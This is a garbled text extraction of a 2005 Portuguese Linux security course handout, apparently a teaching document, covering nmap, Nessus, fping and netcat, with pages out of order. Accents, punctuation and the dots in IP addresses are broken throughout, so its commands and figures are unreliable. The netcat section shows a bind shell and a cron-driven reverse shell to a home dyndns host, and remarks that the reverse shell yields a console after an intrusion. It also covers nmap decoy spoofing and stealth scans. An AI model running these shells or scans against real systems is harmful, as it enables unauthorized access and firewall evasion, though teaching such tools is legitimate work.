ferramenta hping94) Outros ComandosBastile ele eacute um pacote de scripts utilizados para aumentar o niacutevel de seguranccedila do Linuxdesenvolvido para a distribuiccedilatildeo Red Hat com o pacote do Perl (Pratical Extraction and Report Language)deve ser uma das primeiras ferramentas a ser utilizada para proteger contra violaccedilotildees baacutesicas permitindoainda ativar e desativar opccedilotildees do sistema operacionalSATAN o aplicativo Security Administrators Tool for Analizing Network pode ser exectado emqualquer sistema Unix-Like e realiza dentre outras coisas a varredura de portas TCP varredura devulnerabilidades mais conhecidas oferece tutoriais que descrevem as vulnerabilidades e como explora-lasCOOPS Computer Oracle and Password System eacute um dos aplicativos utilizados para realizar

varredura do host local verificar o modo dos arquivos e as senhas faacuteceis No final de seu trabalho ele geraum relatoacuterio com a descriccedilatildeo e a accedilatildeo a ser tomada para resolver a violaccedilatildeoProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 69 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005Tripwire este aplicativo informa se jaacute houve alguma invasatildeo no sistema Ele eacute um analisador deintegridade de arquivos e diretoacuterios durante sua execuccedilatildeo ele compara as informaccedilotildees existentes nosistema de arquivo com os dados preacuteviamente coletados e armazenados no banco de dados Normalmentesua atividade eacute agendada pela CRON do sistema Apoacutes ser executado ele produz um relatoacuterio com aspossiacuteveis violaccedilotildees que o sistema possa ter sofrido Quando executado periodicamente permite quebrechas de seguranccedila possam ser descobertas o mais raacutepido possiacutevelPGP este eacute uma ferramenta multi plataforma que atraveacutes da criptografia simeacutetrica permite protegero conteuacutedo eou a integridade dos dados trocados Ao enviar uma mensagem ele pode utilizar a chavepuacuteblica do destinataacuterio de tal modo que somente quem possuir sua chave privada poderaacute decifar amensagem que lhe foi enviadaHpingIcmpenumIcmpqueryStrobeUdp_scanSiphonp0fCheopsIcmpinfonttcpProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 70 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005Referencias[1] Net Urubatam Dominando Linux Firewall Iptables[2] Linux Magazine Nuacutemero 4 Ano I paacutegina 32[3] Arkin Ofir ICMP Usage in Scanning Julho de 2000[4] Fping ndash httpwwwfpingcom[5] RFC 1812 Requiriments for IPv4 Routers httpwwwietforgrfcrfc1812txt[6] RFC793 - TRANSMISSION CONTROL PROTOCOL DARPA INTERNET PROGRAMPROTOCOL SPECIFICATION Defense Advanced Research Projects Agency September 1981[7] IANA List of assigned ports ftpftpisieduin-notesianaassignmentsport-numbers

[8] Fyodor Remote OS derection via TCPIP Stack FingerPrinting 18 de Outubro de 1998[9] Arkin Ofir ICMP Usage in Scanning The Complete Know-How Versatildeo 30 Junho de 2001[10]Arkin Ofir e Yarochkin Fyodor X remote ICMP based OS Fingerprinting techniques Agosto de2001[11] Arkin Ofir A remote active OS fingerprinting tool using ICMP Abril de 2002[12] Arkin Ofir e Yarochkin Fyodor The Present and Future of Xprobe2 The Next Generation ofActive Operation System Fingerprinting julho de 2003[13] Cid Daniel B Identificaccedilatildeo Passiva de Sistemas Operacionais Maio de 2003[14] Nazario Jose Passive System Fingerprinting using Networking Client Applications 27 deNovembro de 2000[15] Smith Craing Know Your Enemy Passive Fingerprinting - Identifing remote hosts without thenkhnowing 4 de Marccedilo de 2002Prof Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 71 de 71

Page 43: Curso de segurança em linux e redes em geral

a porta pode estar aberta Para variar um pouco a Microsoft ignorou a sugestatildeo da RFCe com isso a varredura de maacutequinas Windows eacute muito raacutepida-sV ou Version detection Apoacutes as portas TCP eou UDP serem descobertas por algum dosmeacutetodos o nmap iraacute determinar qual o serviccedilo estaacute rodando atualmente O arquivonmap-service-probes eacute utilizado para determinar tipos de protocolos nome da aplicaccedilatildeonuacutemero da versatildeo e outros detalhes-sF -sX -sN ou Stealth FIN Xmas Tree ou Null Alguns firewalls e filtros de pacotes detectampacotes SYNs em portas restritas entatildeo eacute necessaacuterio utilizar meacutetodos avanccedilados paraatravessar esses softwaresFIN Portas fechadas enviam um pacote RST como resposta a pacotes FIN enquantoportas abertas ignoram esses pacotes (Esse meacutetodo natildeo funciona com a plataforma Windowsuma vez que a Microsoft natildeo seguiu RFC 973)Xmas Tree Portas fechadas enviam um pacote RST como resposta a pacotes FINenquanto portas abertas ignoram esses pacotes As flags FIN URG e PUSH satildeo utilizados nopacotes FIN que eacute enviado ao alvo (Esse meacutetodo natildeo funciona com a plataforma Windows umavez que a Microsoft natildeo seguiu RFC 973)Null Portas fechadas enviam um pacote RST como resposta a pacotes FIN enquantoportas abertas ignoram esses pacotes Nenhuma flag eacute ligada no pacote FIN (Esse meacutetodo natildeofunciona com a plataforma Windows uma vez que a Microsoft natildeo seguiu RFC 973)Aleacutem destas o nmap possui outras opccedilotildees de uso geral das quais podemos destacar-D ltdecoy1 [decoy2][VOCE]gt Durante uma varredura utiliza uma seacuterie de endereccedilosfalsificados simulando que o scanning tenha originado desses vaacuterios hosts sendo praticamenteimpossiacutevel identifiicar a verdadeira origem da varreduranmap -D IP1IP2IP3IP4IP6SEU_IP alvoProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 51 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005-F Procura pelas portas que estatildeo no etcservices Meacutetodo mais raacutepido poreacutem natildeoprocurar por todas as portasnmap -F alvo-I Se o host estiver utilizando o ident eacute possiacutevel identificar o dono dos serviccedilos que estatildeo

sendo executados no servidor (trabalha com a opccedilatildeo -sT)nmap -sT -I alvo-n Natildeo iraacute resolver nome de hosts a ser varridonmap -n alvo-O Ativa a identificaccedilatildeo do host remoto via TCPIP Iraacute apresentar versatildeo do SistemaOperacional e tempo ativonmap -O alvo-p ltlista_de_portasgt Especifica quais portas devem ser verificadas na varredura Pordefault todas as portas entre 1 e 1024 satildeo varridasnmap -p 2280 alvonmap -p U53111137T21-25801398080-P0 Natildeo tenta pingar o host antes de iniciar a varredura Isto permite varrer alvos quebloqueiam ICMP ldquoecho request (ou responses)rdquo atraveacutes de firewallnmap -P0 alvo-PS[lista_de_portas] Usa pacotes SYN para determinar se o host estaacute ativonmap -PS80 alvo-PT[lista_de_portas] Usa TCP ldquopingrdquo para determinar se o host estaacute ativonmap -PT80 alvo-R Iraacute resolver nome de hosts a ser varridonmap -R80 alvoProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 52 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005-r A varredura seraacute feita nas portas randomicamente natildeo seguinte a ordem crescentenmap -r alvo-T ltParanoid|Sneaky|Polite|Normal|Aggressive|InsanegtEsse paracircmetro seta a prioridade de varredura do Nmap1048576 Paranoid (-T5) eacute muito lento na esperanccedila de prevenir a detecccedilatildeo pelo sistema IDSEste serializa todos os scans (scanning natildeo paralelo) e geralmente espera nomiacutenimo 5 minutos entre o envio de pacotes1048576 Sneaky (-T4) eacute similar ao Paranoid exceto que somente espera 15 segundos entre oenvio de pacotes1048576 Polite (-T3) tem o significado para facilitar a carga na rede e reduzir as chances detravar a maacutequina Ele serializa os testes e espera no miacutenimo 04 segundos entre eles1048576 Normal (-T2) eacute o comportamento default do Nmap o qual tenta executar tatildeo raacutepidoquanto possiacutevel sem sobrecarregar a rede ou perder hostsportas1048576 Aggressive(-T1) esse modo adiciona um timeout de 5 minutos por host e nuncaespera mais que 125 segundos para testar as respostas1048576 Insane (-T0) eacute somente adequando para redes muito raacutepidas ou onde vocecirc natildeo

se importa em perder algumas informaccedilotildees Nesta opccedilatildeo o timeout dos hostsacontecem em 75 segundos e espera somente 03 segundos por teste individual-ttl ltvalorgt Altera o valor do TTL (Time to Live) dessa forma dificulta a origem dopacotenmap -ttl 55 alvo-v Modo verbose Mostra tudo o que estaacute se passandonmap -v alvoProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 53 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005Para facilitar o processo de aprendizagem seguem alguns exemplo e utilizaccedilatildeonmap -v alvoEsta opccedilatildeo faz a varredura de todas as portas TCP reservadasnmap -sS -O alvoLanccedila uma varredura TCP Syn contra cada maacutequina que estaacute ativa abrangendo todasas 255 maacutequinas de classe ldquoCrdquo onde alvo faz parte Aleacutem disso determina o sistemaoperacional de cada hostnmap -sX -p 2253110143 alvoEnvia uma varredura Xmas Tree para o alvo aleacutem de varrer somente os serviccedilos desshd Dns pop3d e imapdProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 54 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 200592) NessusNessus eacute uma ferramenta para auditoria de seguranccedila Com ele eacute possiacutevel verificar variasvulnerabilidades em sua rede O nessus permite que se faccedila isso de uma forma segura nao permitindo queusuaacuterios natildeo autorizados possam scanear sua rede com ele Ele eacute composto por duas partes sendo umcliente e um servidor Pode-se usaacute-lo a partir do windowscopy poreacutem isso natildeo seraacute abordado nesse artigoEle possui uma seacuterie de recursos bastante interessantes como trabalhar em conjunto com o nmap etambeacutem a possibilidade de atualizaccedilatildeo apenas baixando novos plugins de ataques eou vulnerabilidades ONessus foi criado em 1998 por Renaud Deraison sendo que naquela eacutepoca o melhor security scanner era oSATAN ( que se encontrava bastante desatualizado ) Deraison resolveu dividir o sistema em pluginsfacilitando muito a atualizaccedilatildeo e a prevenccedilatildeo contra novos ataques A partir da versatildeo 100 foi criado umscript que automaticamente atualiza o plugins para que o nessus possa detectar uma nova vulnerabilidade eassim sugerir uma forma ou explicaccedilatildeo para corrigi-la

O nessus possui uma GUI muito flexiacutevel onde vocecirc configura vaacuterios detalhes de varredura na suarede Nela pode-se configurar quais plugins( ataques ) usar e os hosts(targets) que seratildeo scanneadosPrimeiramente rode o nessus cliente bastando para isso digitar nessus na linha de comando Ele pediraacuteentao a senha que vocecirc configurou inicialmente Vamos abordar agora quais satildeo as opccedilotildees deconfiguraccedilatildeo do cliente nessusNessus host nesta aba de configuraccedilatildeo vocecirc deve especificar o endereccedilo ip do daemon nessus etambeacutem a porta tcp em que ele estaacute rodando (geralmente 1241) Nesta tela tambeacutem eacute possiacutevel optar peloalgoritmo de criptografia que seraacute usado Tambeacutem eacute preciso especificar o nome do usuaacuterio para logar nodaemonPlugins Aqui reside todo o poder do nessus nesta aba se encontram as exploraccedilotildees (exploits) dasvulnerabilidades conhecidas em forma de plugins O nessus se vale destes plugins para avaliar asvulnerabilidades do sistema scanneadoPrefs Satildeo especificados valores como usuaacuterios e senhas de serviccedilos como ftp pop imap e smbDe porte desses dados o nessus pode fazer verificaccedilotildees muito mais eficitentes nos seus hosts jaacute quealguns exploits pressupotildeem que o explorador possui uma conta vaacutelida de algum desses serviccedilos Tambeacutemeacute possiacutevel configurar o tipo de scan que seraacute usado pelo nmap ( caso possua )Scan Option -gt Aqui pode-se especificar as portas que seratildeo scaneadas pelo nessus use virgulapara portas individuais e hiacutefen para intervalos(80110443-1024) No caso de utilizar o nessus para scanearservidores web eacute bastante interessante especificar o path ou caminho dos CGIs no seu servidor PorProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 55 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005exemplo se vocecirc especificar o path cgi-bin para o nessus procuraraacute por CGIs exploitaacuteveis emhttphostcgi-binTarget Selection Preencha o uacutenico campo desta aba para especificar as maacutequinas que seratildeoscaneadas Clicando no botatildeo Read file vocecirc especifica um arquivo onde estatildeo o endereccedilos IP dasmaacutequinas a serem verificadasUser Aqui estatildeo suas informacotildees pessoais como a chave que deve ser usada e tambeacutem pode-setrocar a sua senha do nessusAbaixo temos as principais telas deste aplicativo( Aba Host) (Aba Plugins)

Prof Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 56 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005( Aba Perfs) (Aba Scan Options)( Aba Target Selection) (Aba KB)Prof Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 57 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005921)Iniciando a inspeccedilatildeo na sua redeAssim que vocecirc iniciar o nessus lhe seraacute solicitado a senha A primeira tela que iraacute surgir eacute a nessushost nesta tela se encontram aleacutem da opccedilotildees citadas acima o botatildeo de login clicando nele vocecirc ja poderaacuteconfigurar os plugins que seratildeo utilizados Agora na aba Plugins vocecirc escolhe quais ataques eexploraccedilotildees deveratildeo ser aplicadas aos seus alvos Como jaacute foi citado este eacute um dos maiores diferenciais donessus os plugins estatildeo separados por categorias e cada um deles possui um texto explicando o queaquele exploit faz e tambeacutem o grau de risco bem como resolver o problema caso esta vulnerabilidade sejaencontrada Caso alvos sejam maacutequinas que estatildeo em produccedilatildeo natildeo aconselho usar utilizar o plugins deDoS e nem aqules que possuem um sinal de alerta ao lado assim evitamos surpresas Se os alvosestiverem abertos para internet eacute importante marcar ao menos as seguintes categorias Gain ShellRemotely Gain Root Remotely Backdoors Remote File Access Cabe a vocecirc analisar quais pluginsdeveratildeo ser utilizados na varredura caso sua rede seja composta apenas por sistemas NIX natildeo existe amenor necessidade de utilizar os plugins referentes a Wingate por exemploApoacutes escolher os plugins mais adequandos a sua rede vamos escolher quais hosts seratildeoscaneados Clique na aba Target Selection e especifique as maacutequinas que deseja scanear ( todas elasdevem estar com o nessusd rodando ) Como mencionado acima vocecirc deve colocar os alvos(targets)separados por viacutergula ou especificar um arquivo de onde onde o nessus iraacute ler os alvosCom tudo configurado(geralmente natildeo eacute preciso mudar muita coisa) vocecirc pode iniciar a varreduraem sua rede para isto clique no botatildeo Start the scan Agora o nessus iraacute varrer sua rede isso podedemorar um pouco conforme a velocidade da rede e quantidade de plugins que vocecirc selecionouFeito a varredura podemos verificar a falhas de seguranccedila e as recomendaccedilotildees do nessus para asvulnerabilidades encontradas Na tela Nessus Report vocecirc vecirc os hosts scaneados a esquerda e as

vulnerabilidades encontradas em cada um deles aacute direita Clicando no sinal de + sobre as vulnerabilidadestem-se a explicaccedilatildeo do problema e tambeacutem como proceder para corrigi-lo Para uma futura referecircncia podesetambeacutem exportar o relatoacuterio basta escolher o formato e clicar em Save as recomendo escolher aopcatildeo Save as HTML with pies an graphs com isso nessus iraacute salvar os resultados na pasta que vocecircescolher e tambeacutem geraraacute graacuteficos sobre as vulnerabilidades de sua rede juntamente com o tradicionalrelatoacuterio em HTMLPara realizar a atualizaccedilatildeo de seus plugins o nessus possui um script que para funcionar necessitaque se esteja conectado na internet Para executa-lo rode o seguinte comandonessus-update-plugins -vProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 58 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005Com a opccedilatildeo -v seratildeo exibidos os plugins que estatildeo sendo baixados Este script natildeo possuinenhuma forma para verificar a integridade dos plugins baixadospor isso use-o com cautela( leia amanpage deste script para maiores detalhes)93) FpingO fping eacute um programa que assim como ping utiliza o protocolo ICMP (_____

__ ________________________________ _________) para determinar se um ou vaacuterios noacutes da rede estatildeo ativos mas ao contraacuterio do ping ele permiterealizar a verificaccedilatildeo de vaacuterios noacutes ao mesmo tempo o endereccedilo dos noacutes pode ser passado via linha decomando ou atraveacutes de um arquivo textoO fping ao receber uma confirmaccedilatildeo de atividade automaticamente envia um aviso de atividade eexclui o host da lista de verificaccedilatildeo mas quando um noacute natildeo responde em no periacuteodo preacute determinado ele eacutetido como desligado ou natildeo alcanccedilaacutevelEste comando vem sendo largamente utilizado em cript devido seu baixo tempo de resposta e suasaiacuteda ser de faacutecil manipulaccedilatildeoEste comando aceita os seguintes paracircmetros-a lista somente aqueles noacutes que estatildeo ativos-A mostra o endereccedilo do noacute ao inveacutes do seu nome de domiacutenio-c informa quanto pacotes devem ser enviados para cada host-C assim como o anterior mas este informa no final o tempo de resposta em milisegundosde cada pacote-e mostra o tempo decorrido ateacute o recebimento do pacote de verificaccedilatildeo-i tempo miacutenimo em milisegundos entre o envio de dois pacotes a qualquer host da rede-l loop envia pacotes indefinidamente

-n utiliza o nome de domiacutenio do host na saiacuteda do comando-r nuacutemero de tentativas de alcanccedilar o host-u mostra somente os host que natildeo foram alcanccediladosProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 59 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005ExemplosInforma o estado das maacutequinas utilizando o nome de domiacutenio delas como pode serobservado logo abaixofping -n 1461643265 1461643267 1461643275 14616432100 1461643267nsravelufrjbr is alivemailhostravelufrjbr is alivegw-etherravelufrjbr is alivemailhostravelufrjbr is alivewebsecravelufrjbr is unreachableInforma somente o nome das maacutequinas que estatildeo ativas como vemos abaixofping -na 1461643265 1461643267 1461643275 14616432100 1461643267nsravelufrjbrmailhostravelufrjbrgw-etherravelufrjbrmailhostravelufrjbrInforma somente o nome das maacutequinas que natildeo podem ser encontradas como podeser observado logo abaixofping -nu 1461643265 1461643267 1461643275 14616432100 1461643267websecravelufrjbrEnvia apenas dois pacotes para cada host e no final informa a taxa de pacotesenviados recebidos e perdidos como pode ser observado logo abaixofping -q -n -c 2 1461643265 1461643267 1461643275 1461643210014616432101nsravelufrjbr xmtrcvloss = 220 minavgmax = 500518537mailhostravelufrjbr xmtrcvloss = 220 minavgmax = 455473491websecravelufrjbr xmtrcvloss = 20100gw-etherravelufrjbr xmtrcvloss = 220 minavgmax = 51352553714616432101 xmtrcvloss = 550 minavgmax = 498586769Envia apenas cinco pacotes para cada host e no final informa o tempo de resposta decada um como pode ser observado logo abaixofping -q -n -C 5 1461643265 1461643267 1461643275 1461643210014616432101nsravelufrjbr 4902 5094 5203 5056 4667mailhostravelufrjbr 5294 5122 5260 4890 5056websecravelufrjbr - - - - -gw-etherravelufrjbr 4793 5404 5097 4785 494614616432101 6843 5201 5929 5331 7458

Prof Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 60 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005Informa o tempo de resposta de cada host informando o seu endereccedilo ip ao inveacutes doseu nome de domiacutenio como pode ser observado logo abaixofping -A -e protheusravelufrjbr websecravelufrjbr wwwyahoocombrwwwgmailcom1461643267 is alive (533 ms)200152161113 is alive (459 ms)64233171107 is alive (534 ms)1461643275 is unreachable93) NetcatNetcat eacute uma ferramenta usada para ler e escrever dados em conexotildees de rede usando o protocoloTCPIP Dada sua grande versatilidade o NetCat eacute considerado pelos hackers o canivete suiacuteccedilo do TCPIPpodendo ser usado para fazer desde portscans ateacute brute force attacksO nome netcat vem do comando cat do LinuxUnix O cat concatena arquivos e envia para a saiacutedapadratildeo (stdout) O netcat faz praticamente o mesmo poreacutem ao inveacutes de concatenar arquivos o netcatconcatena sockets TCP e UDP931) Opccedilotildees do Netcat-e comando Executa o comando especificado usando como entrada (stdin) os dados recebidospela rede e enviando os dados de saiacuteda (stdout e stderr) para a rede Essa opccedilatildeo somente estaraacute presentese o nc for compilado com a opccedilatildeo GAPING_SECURITY_HOLE jaacute que permite que usuaacuterios disponibilizemprogramas para qualquer um conectado a rede-i Especifica o intervalo de tempo no qual as linhas de texto seratildeo enviadas ou recebidas-l Coloca no netcat em estado de escuta (listening)-L Coloca no netcat em estado de escuta (listening) reiniciando o netcat com a mesma linha decomando caso a conexatildeo feche-n Forccedila o netcat a usar apenas endereccedilos de IP numeacutericos sem fazer consultas a servidoresDNS-o filename Usando para obter um log dos dados de entrada ou saiacuteda em formato hexadecimal-p Especifica a porta a ser usada sujeito a disponibilidade e a restriccedilotildees de privileacutegioProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 61 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005-r Faz as portas do portscan serem escolhidas aleatoriamente-s Especifica o endereccedilo IP da interface usada para enviar os pacotes Pode ser usado para

spoofing de IPs bastando apenas configurar uma interface do tipo eth00 (usando o ifconfig) com o IPdesejado-t Permite usar o nc para criar sessotildees de telnet por script Precisa estar compilado com a opccedilatildeo-DTELNET-u Usar UDP ao inveacutes de TCP-v Controla o niacutevel de mensagens mostradas na tela-w Limita o tempo maacuteximo para que uma conexatildeo seja estabelecida-z Para evitar o envio de dados atraveacutes de uma conexatildeo TCP e limitar os dados de uma conexatildeoUDP932) Preparando as Interfaces de RedePara testar o netcat usaremos dois aliases na interface loopback (lo) do linux O endereccedilo IP defaultda interface lo no linux eacute 127001 Se mexermos com o endereccedilo 127001 podemos quebrar as nossasconexotildees de rede Ao inveacutes disso usaremos os aliases lo1 e lo2 para executarmos os testes Para atribuirendereccedilos IP agrave essas interfaces os seguintes comandos devem ser executados (como usuaacuterio root) naconsole do linux$ ifconfig lo1 10011$ ifconfig lo2 10012Prof Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 62 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005O comando ifconfig tambeacutem permite verificar se o comando foi bem sucedidoifconfiglo Link encapLocal Loopbackinet addr127001 Mask255000UP LOOPBACK RUNNING MTU16436 Metric1RX packets10 errors0 dropped0 overruns0 frame0TX packets10 errors0 dropped0 overruns0 carrier0collisions0 txqueuelen0RX bytes700 (7000 b) TX bytes700 (7000 b)lo1 Link encapLocal Loopbackinet addr10011 Mask255000UP LOOPBACK RUNNING MTU16436 Metric1RX packets20848 errors911 dropped0 overruns0 frame926TX packets63 errors0 dropped0 overruns0 carrier0collisions0 txqueuelen0RX bytes1398645 (13 Mb) TX bytes6935 (67 Kb)lo2 Link encapLocal Loopbackinet addr10012 Mask255000UP LOOPBACK RUNNING MTU16436 Metric1RX packets20848 errors911 dropped0 overruns0 frame926TX packets63 errors0 dropped0 overruns0 carrier0collisions0 txqueuelen0RX bytes1398645 (13 Mb) TX bytes7281 (71 Kb)

As interfaces de rede configuradas dessa forma permitem-nos trabalhar como se fossem doiscomputadores na mesma rede com IPs diferentes933) Colocando o Netcat para escutar uma portaO seguinte comando permite usar o netcat para escutar o traacutefego da redenc -vv -l -p8080Listening on any address 8080 (webcache)Para redirecionar a saiacuteda para um arquivo usa-se o seguinte formatonc -l -p8080 gt filenametxtPara conectar um cliente netcat usa-se o seguinte comandonc 10011 -p8080 gt filenametxtAssim tudo o que for digitado no cliente seraacute repetido no servidor (na primeira console) Use CTRLCpara terminar a conexatildeoProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 63 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005O servidor deveraacute mostrar um breve resumo da conexatildeoTotal received bytes 5Total sent bytes 0934) Transferindo ArquivosTransferir arquivos de um host para outro usando o netcat eacute bastante simples Basta configurar olado server (que vai receber o arquivo) para escutar uma porta especiacutefica e redirecionar todos os dadosrecebidos para um arquivo Colocando-se um timeout o servidor iraacute perceber quando natildeo existem maisdados chegando e iraacute fechar a conexatildeo No lado cliente da conexatildeo simplesmente conecta-se agrave porta doservidor e passa-se o arquivo a ser transferido como entradaServidornc -vvn -l -p 3000 -w 30 gt fileListening on any address 3000Clientenc -vvn -w 2 10001 3000 lt file110001 3000 openO servidor iraacute mostrar a seguinte mensagem quando uma conexatildeo for estabelecidaConnection from 100011028Novamente a conexatildeo deve ser terminada usando-se o CTRL-C O servidor iraacute mostrarExitingTotal received bytes 6Total sent bytes 0Enquanto que o cliente mostraraacuteTotal received bytes 0Total sent bytes 6Prof Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 64 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005

935) Emulando o serviccedilo de TelnetAgora que jaacute sabemos como fazer uma transferecircncia de arquivos podemos tentar algo mais uacutetil Porexemplo podemos nos conectar em uma maacutequina remota e executar alguns comandos sem passar pormecanismos de controle de acesso Para isso podemos usar o netcat com a opccedilatildeo -e Um simplesexemploNa console do servidor entrenc -l -p 5000 -e binbashNo clientenc 10011 5000Agora estamos conectados no servidor e com acesso ao shell Natildeo vemos o prompt mas podemosver a saiacuteda de cada comando enviado para o servidorlsbin dev home media opt root srv tmp varboot etc lib mnt proc sbin sys usr936) Criando um PortscanningEacute possiacutevel usar o netcat para fazer portscans Para isso deve-se usar a flag -z (zero IO mode) queapenas conecta e desconecta de uma determinada porta Para executar um scan um portas UDP deve-seusar a opccedilatildeo -uTCPnc -vvn -z xxxxxxxxxxxx start-endUDPnc -u -vvn -z xxxxxxxxxxxx start-endProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 65 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005No exemplo abaixo tentamos fazer um scan das portas 21 ateacute 26 Como pode-se ver portasfechadas resultam em um Connection refused e portas abertas mostram open O scan UDP eacutebasicamente o mesmonc -vvn -z 10001 21-2610001 21 (ftp) Connection refused10001 22 (ssh) open10001 23 (telnet) Connection refused10001 24 Connection refused10001 25 (smtp) Connection refused10001 26 Connection refusedTotal received bytes 0Total sent bytes 0937) Telnet ReversoMuitas empresas possuem algum tipo de link dedicado para acesso a internet Tambem possuemalgum tipo de firewall que bloqueia o acesso a rede interna que muitas vezes natildeo tem um IP vaacutelido que

podemos acessar Para logar remotamente em um computador dessa rede talvez para copiar algumarquivo importante para finalizar um trabalho que esteja fazendo de sua casa um cliente telnet ou ftp natildeopoderia ser usadoPor exemplo temos um servidor que aceita apenas conexotildees externas na porta 80 mas natildeo temum IP externo vaacutelido O computador de casa provavelmente possui um IP real vaacutelido e portas que podemser abertas ou fechadas conforme a necessidade Invertendo as direccedilotildees das conexotildees pode resolver esseproblema basta fazer o computador do escritoacuterio conectar no computador de casa recebendo comandos docliente a executando-os no servidor Essa teacutecnica eacute conhecida como Telnet ReversoVamos chamar o computador do escritoacuterio de WORK e o computador de casa HOME Se ocomputador HOME for configurado para usar IP dinacircmico precisaremos de um nome para DNS dinacircmicotipo o serviccedilo fornecido pela dyndnsorg No computador WORK configuramos um job cron para iniciar as1900 Como no exemplo anterior do telnet ele conecta ao homedyndnsorg e inicia uma sessatildeo bash Paraisso em casa deve-se iniciar (antes das 1900) o netcat da seguinte formanc -vv -l -p 80As 1000 WORK conecta ao HOME inicia o bash e estaacute pronto para executar qualquer comandoque queremosPara testar nosso telnet reverso na nossa rede virtual devemos colocar o cliente (HOME) em modoProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 66 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005de espera escutando uma conexatildeonc -vv -l -p 80Listening on any address 80Para conectar a partir do servidor (WORK)nc 10011 80 -e binbashEssa teacutecnica eacute bem simples e eficiente pois usa somente a porta 80 que dificilmente estaraacutebloqueada no firewall A partir do computador HOME vocecirc pode enviar comandos para o WORK e recebero resultado localmenteAleacutem disso o telnet reverso pode ser usado para ganhar uma console de um servidor depois deuma invasatildeo938) Banner-grabbingBanner-grabbing consiste em enviar para o destino strings especiacuteficas a partir de um arquivo e

receber os resultados na tela O exemplo a seguir inclui um laccedilo for baacutesico para fazer o scan de muacuteltiplosdestinos de uma vez O arquivo WEBtxt deve conter head http10e dois enters ou apenas os dois enters para funcionar em outras portas aleacutem da 80 O arquivoIPlist deve conter a lista dos endereccedilos IP a serem scaneados10011Apoacutes criar esses dois arquivos executefor f in `cat IPlisttxt` do nc $f 80 lt WEBtxt doneProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 67 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005O resultado deveraacute ser algo do tipoHTTP11 501 Method Not ImplementedDate Mon 13 Dec 1999 081931 GMTServer Apache2040 (Red Hat Linux)Vary accept-languageAccept-Ranges bytesContent-Length 993Connection closeContent-Type texthtml charset=ISO-8859-1Expires Mon 13 Dec 1999 081931 GMTltxml version=10 encoding=ISO-8859-1gtltDOCTYPE html PUBLIC -W3CDTD XHTML 11ENhttpwwww3orgTRxhtml11DTDxhtml11dtdgtlthtml xmlns=httpwwww3org1999xhtml xmllang=engtltheadgtlttitlegtCannot process requestlttitlegtltmeta http-equiv=Content-Type content=texthtml charset=iso-8859-1 gtltlink rev=made href=mailtorootlocalhost gtltstyle type=textcssgtlt--body color 000000 background-color FFFFFF alink color 0000CC --gtltstylegtltheadgtltbodygtlth1gtCannot process requestlth1gtltdlgt ltddgtThe server does not support the action requested by the browserltddgtltdlgtltdlgtltddgtIf you think this is a server error please contactthe lta href= mailtorootlocalhos t gtwebmasterlta gtltddgtltdlgtlth2gtError 